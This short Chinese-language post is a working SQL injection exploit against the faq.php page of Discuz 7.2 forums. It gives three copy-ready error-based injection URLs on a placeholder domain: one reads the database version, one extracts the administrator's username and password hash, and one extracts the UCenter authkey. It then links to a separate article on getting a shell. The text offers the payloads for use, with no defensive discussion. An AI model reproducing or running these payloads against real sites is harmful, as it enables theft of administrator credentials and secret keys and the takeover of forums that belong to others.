faq.php 注入,Discuz 7.2 /faq.php SQL注入漏洞

1.获取数据库版本信息 http://www.xxoo.com/faq.php?action=grouppermissiongids[99]=gids[100][0]=) and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema .tables group by x)a)%23 2.获取管理员账户密码 htt

1.获取数据库版本信息

http://www.xxoo.com/faq.php?action=grouppermission&gids[99]='&gids[100][0]=) and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema

.tables group by x)a)%23

2.获取管理员账户密码

http://www.xxoo.com/faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=) and (select 1 from (select count(*),concat((select (select (select concat(username,0x27,password) from cdb_members limit 1) ) from `information_schema`.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23

3.获取key

http://www.xxoo.com/faq.php?action=grouppermission&gids[99]='&gids[100][0]=)%20and%20(select%201%20from%20(select%20count(*),concat(floor(rand(0)*2),0x3a,(select%20substr(authkey,1,62)%20from%20cdb_uc_applications%20limit%200,1),0x3a)x%20from%20information_schema.tables%20group%20by%20x)a)%23

getshell参见 http://www.2cto.com/Article/201401/272274.html